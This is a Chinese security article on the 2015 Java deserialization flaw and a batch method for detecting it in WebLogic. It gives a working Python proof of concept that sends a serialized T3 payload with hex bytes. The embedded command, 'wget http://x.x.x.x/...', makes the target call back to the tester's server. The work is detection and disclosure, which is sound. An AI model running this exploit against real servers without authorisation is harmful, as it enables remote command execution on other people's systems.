本文作者:魔方安全团队
前言
Java反序列漏洞出现在人们视野已经有一段时间了,魔方安全团队对这个漏洞进行了复现,同时研究出了一种准确性较高的批量检测的思路,在此与各位安全圈的朋友分享。
背景
2015年11月6日,FoxGlove Security安全团队的@breenmachine 发布的一篇博客中介绍了如何利用Java反序列化漏洞,来攻击最新版的WebLogic、WebSphere、JBoss、Jenkins、OpenNMS这些大名鼎鼎的Java应用,实现远程代码执行。
其实早在2015年的1月28号,国外的安全研究员Gabriel Lawrence和Chris Frohoff在AppSecCali上给出了一个报告,报告中已
经指出Java反序列化漏洞可以利用Apache Commons Collections这个常用的Java库来实现任意代码执行。
Java反序列漏洞简介
序列化就是把对象转换成字节流,便于保存在内存、文件、数据库中;反序列化即逆过程,由字节流还原成对象。Java中的ObjectOutputStream类的writeObject()方法可以实现序列化,类ObjectInputStream类的readObject()方法用于反序列化。下面是将字符串对象先进行序列化,存储到本地文件,然后再通过反序列化进行恢复的样例代码:
public static void main(String args[]) throws Exception { String obj = "hello world!"; // 将序列化对象写入文件object.db中 FileOutputStream fos = new FileOutputStream("object.db"); ObjectOutputStream os = new ObjectOutputStream(fos); os.writeObject(obj); os.close(); // 从文件object.db中读取数据 FileInputStream fis = new FileInputStream("object.db"); ObjectInputStream ois = new ObjectInputStream(fis); // 通过反序列化恢复对象obj String obj2 = (String)ois.readObject(); ois.close(); }
问题在于,如果Java应用对用户输入,即不可信数据做了反序列化处理,那么攻击者可以通过构造恶意输入,让反序列化产生非预期的对象,非预期的对象在产生过程中就有可能带来任意代码执行。
所以这个问题的根源在于类ObjectInputStream在反序列化时,没有对生成的对象的类型做限制;假若反序列化可以设置Java类型的白名单,那么问题的影响就小了很多。
本文针对该漏洞的原理将不再详细描述,可参考长亭科技在11月初发布针对该漏洞的详细原理介绍:Lib之过?Java反序列化漏洞通用利用分析
漏洞检测
检测用工具
该漏洞的利用方法目前已经有成型的工具,其中包括国外研究者编写的ysoserial,以及国内研究者编写的serial.jar,均可以生成攻击payload。
检测思路
拓扑结构:
由于目前来说暂未发现可直接回显结果的方法,单纯检测包返回结果无法很精确的发现是否存在漏洞,因此我们采用了结合第三方的方式进行批量检查,检测服务器发送payload到受检测主机,受监测主机执行远程命令访问测试服务器打开的Web服务,登录测试服务器查看测试服务器的Web访问日志日志,确认受检测主机IP地址是否在日志文件上,测试服务器日志上存在受监测主机的IP地址,则可以确认受监测主机执行了命令,存在漏洞。
本次测试以使用最多的Weblogic为例,使用工具生成 payload ,payload中执行的命令为
wget http://x.x.x.x/libreversex.html
其中x.x.x.x为我们搭建用于接受wget命令的测试服务器的IP
然后利用国外的POC进行修改,在代码后面加入远程读取服务器日志,并匹配日志中是否存在该IP地址,其中读取目标服务器访问日志,我们使用了一个技巧,即将目标服务器的Web访问日志做个硬链接到Web目录下,这样就可以远程直接读取Web日志进行比对,确认该IP是否存在安全漏洞:
运行结果:
在批量检测过程中,我们发现并不是说仅有7001存在该安全漏洞,部分站点80端口也存在该漏洞,因为只要是接受T3协议的端口均会存在该安全漏洞。
检测方法总结
优点:
该检测方法直接通过执行命令方式并查看执行结果的方式进行检测,准确率高。
缺点:
1. 若内网防火墙禁止内部主机主动访问外部,则无法成功检测,因此存在漏报的可能。
2. 对于windows下的主机,由于无wget命令,无法使用该方式检测。
检测用测试代码
以下是WebLogic的POC,采用的BBT的框架:
#!/usr/bin/env python # coding=utf-8 import socket import sys import requests import base64 import string import urlparse import os import time import requests from baseframe import BaseFrame class MyPoc(BaseFrame): poc_info = { # poc相关信息 'poc': { 'id': 'poc-2015-1113', 'name': 'java反序列漏洞weblogic', 'author': 'vicky', 'create_date': '2015-11-13', }, # 协议相关信息 'protocol': { 'name': '*', 'port': ['*'], 'layer4_protocol': ['tcp'], }, # 漏洞相关信息 'vul': { 'app_name': 'java', 'vul_version': ['*'], 'type': '远程命令执行', 'tag': ['Java反序列漏洞', '远程命令执行', 'weblogic'], 'desc': ''' java 反序列漏洞使远程执行任意对象,配合weblogic中的Java反序列可使存在jenkins的系统远程执行命令 ''', 'references': ['http://blog.chaitin.com/2015-11-11_java_unserialize_rce/?from=timeline&isappinstalled=0#rdd', ], }, } def _init_user_parser(self): self.user_parser.add_option('-p','--port', action='store', dest='port', type='int', default=6379, help='this poc need the port to connect redis' 'the default port is 6379.') @classmethod def verify(cls, args): ip=args['options']['target'] port=args['options']['port'] socket.setdefaulttimeout(5) payload='\x00\x00\x09\xfc\x01\x65\x01\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x71\x00\x00\xea\x60\x00\x00\x00\x18\x43\x2e\xc6\xa2\xa6\x39\x85\xb5\xaf\x7d\x63\xe6\x43\x83\xf4\x2a\x6d\x92\xc9\xe9\xaf\x0f\x94\x72\x02\x79\x73\x72\x00\x78\x72\x01\x78\x72\x02\x78\x70\x00\x00\x00\x0c\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x70\x70\x70\x70\x70\x70\x00\x00\x00\x0c\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x70\x06\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x1d\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d\x2e\x43\x6c\x61\x73\x73\x54\x61\x62\x6c\x65\x45\x6e\x74\x72\x79\x2f\x52\x65\x81\x57\xf4\xf9\xed\x0c\x00\x00\x78\x70\x72\x00\x24\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x63\x6f\x6d\x6d\x6f\x6e\x2e\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x50\x61\x63\x6b\x61\x67\x65\x49\x6e\x66\x6f\xe6\xf7\x23\xe7\xb8\xae\x1e\xc9\x02\x00\x09\x49\x00\x05\x6d\x61\x6a\x6f\x72\x49\x00\x05\x6d\x69\x6e\x6f\x72\x49\x00\x0b\x70\x61\x74\x63\x68\x55\x70\x64\x61\x74\x65\x49\x00\x0c\x72\x6f\x6c\x6c\x69\x6e\x67\x50\x61\x74\x63\x68\x49\x00\x0b\x73\x65\x72\x76\x69\x63\x65\x50\x61\x63\x6b\x5a\x00\x0e\x74\x65\x6d\x70\x6f\x72\x61\x72\x79\x50\x61\x74\x63\x68\x4c\x00\x09\x69\x6d\x70\x6c\x54\x69\x74\x6c\x65\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67\x3b\x4c\x00\x0a\x69\x6d\x70\x6c\x56\x65\x6e\x64\x6f\x72\x71\x00\x7e\x00\x03\x4c\x00\x0b\x69\x6d\x70\x6c\x56\x65\x72\x73\x69\x6f\x6e\x71\x00\x7e\x00\x03\x78\x70\x77\x02\x00\x00\x78\xfe\x01\x00\x00' try : sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server_address = (ip, int(port)) headers='t3 12.2.1\nAS:255\nHL:19\nMS:10000000\nPU:t3://us-l-breens:7001\n\n' sock.connect(server_address) sock.sendall(headers) data = sock.recv(1024) except Exception,e: return args if "HELO" in data: try: payloadObj = open(“serial.wget”).read() payload=payload+payloadObj payload=payload+'\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x1d\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d\x2e\x43\x6c\x61\x73\x73\x54\x61\x62\x6c\x65\x45\x6e\x74\x72\x79\x2f\x52\x65\x81\x57\xf4\xf9\xed\x0c\x00\x00\x78\x70\x72\x00\x21\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x63\x6f\x6d\x6d\x6f\x6e\x2e\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x50\x65\x65\x72\x49\x6e\x66\x6f\x58\x54\x74\xf3\x9b\xc9\x08\xf1\x02\x00\x07\x49\x00\x05\x6d\x61\x6a\x6f\x72\x49\x00\x05\x6d\x69\x6e\x6f\x72\x49\x00\x0b\x70\x61\x74\x63\x68\x55\x70\x64\x61\x74\x65\x49\x00\x0c\x72\x6f\x6c\x6c\x69\x6e\x67\x50\x61\x74\x63\x68\x49\x00\x0b\x73\x65\x72\x76\x69\x63\x65\x50\x61\x63\x6b\x5a\x00\x0e\x74\x65\x6d\x70\x6f\x72\x61\x72\x79\x50\x61\x74\x63\x68\x5b\x00\x08\x70\x61\x63\x6b\x61\x67\x65\x73\x74\x00\x27\x5b\x4c\x77\x65\x62\x6c\x6f\x67\x69\x63\x2f\x63\x6f\x6d\x6d\x6f\x6e\x2f\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2f\x50\x61\x63\x6b\x61\x67\x65\x49\x6e\x66\x6f\x3b\x78\x72\x00\x24\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x63\x6f\x6d\x6d\x6f\x6e\x2e\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x56\x65\x72\x73\x69\x6f\x6e\x49\x6e\x66\x6f\x97\x22\x45\x51\x64\x52\x46\x3e\x02\x00\x03\x5b\x00\x08\x70\x61\x63\x6b\x61\x67\x65\x73\x71\x00\x7e\x00\x03\x4c\x00\x0e\x72\x65\x6c\x65\x61\x73\x65\x56\x65\x72\x73\x69\x6f\x6e\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67\x3b\x5b\x00\x12\x76\x65\x72\x73\x69\x6f\x6e\x49\x6e\x66\x6f\x41\x73\x42\x79\x74\x65\x73\x74\x00\x02\x5b\x42\x78\x72\x00\x24\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x63\x6f\x6d\x6d\x6f\x6e\x2e\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x50\x61\x63\x6b\x61\x67\x65\x49\x6e\x66\x6f\xe6\xf7\x23\xe7\xb8\xae\x1e\xc9\x02\x00\x09\x49\x00\x05\x6d\x61\x6a\x6f\x72\x49\x00\x05\x6d\x69\x6e\x6f\x72\x49\x00\x0b\x70\x61\x74\x63\x68\x55\x70\x64\x61\x74\x65\x49\x00\x0c\x72\x6f\x6c\x6c\x69\x6e\x67\x50\x61\x74\x63\x68\x49\x00\x0b\x73\x65\x72\x76\x69\x63\x65\x50\x61\x63\x6b\x5a\x00\x0e\x74\x65\x6d\x70\x6f\x72\x61\x72\x79\x50\x61\x74\x63\x68\x4c\x00\x09\x69\x6d\x70\x6c\x54\x69\x74\x6c\x65\x71\x00\x7e\x00\x05\x4c\x00\x0a\x69\x6d\x70\x6c\x56\x65\x6e\x64\x6f\x72\x71\x00\x7e\x00\x05\x4c\x00\x0b\x69\x6d\x70\x6c\x56\x65\x72\x73\x69\x6f\x6e\x71\x00\x7e\x00\x05\x78\x70\x77\x02\x00\x00\x78\xfe\x00\xff\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x13\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d\x2e\x4a\x56\x4d\x49\x44\xdc\x49\xc2\x3e\xde\x12\x1e\x2a\x0c\x00\x00\x78\x70\x77\x46\x21\x00\x00\x00\x00\x00\x00\x00\x00\x00\x09\x31\x32\x37\x2e\x30\x2e\x31\x2e\x31\x00\x0b\x75\x73\x2d\x6c\x2d\x62\x72\x65\x65\x6e\x73\xa5\x3c\xaf\xf1\x00\x00\x00\x07\x00\x00\x1b\x59\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00\x78\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x13\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d\x2e\x4a\x56\x4d\x49\x44\xdc\x49\xc2\x3e\xde\x12\x1e\x2a\x0c\x00\x00\x78\x70\x77\x1d\x01\x81\x40\x12\x81\x34\xbf\x42\x76\x00\x09\x31\x32\x37\x2e\x30\x2e\x31\x2e\x31\xa5\x3c\xaf\xf1\x00\x00\x00\x00\x00\x78' sock.send(payload) time.sleep(10) data=requests.get('http://IP:PORT/log.log') if data.content.count(str(ip)) > 0: args['success'] = True args['poc_ret']['ip'] = ip args['poc_ret']['port']= port except Exception,e: return args return args exploit = verify if __name__ == '__main__': from pprint import pprint mp = MyPoc() pprint(mp.run())
参考资料:
https://github.com/CaledoniaProject/jenkins-cli-exploit
http://blog.chaitin.com/2015-11-11_java_unserialize_rce/?from=timeline&isappinstalled=0#rd
* 作者:CUBESEC Vicky,转载请注明来自FreeBuf黑客与极客(FreeBuf.COM)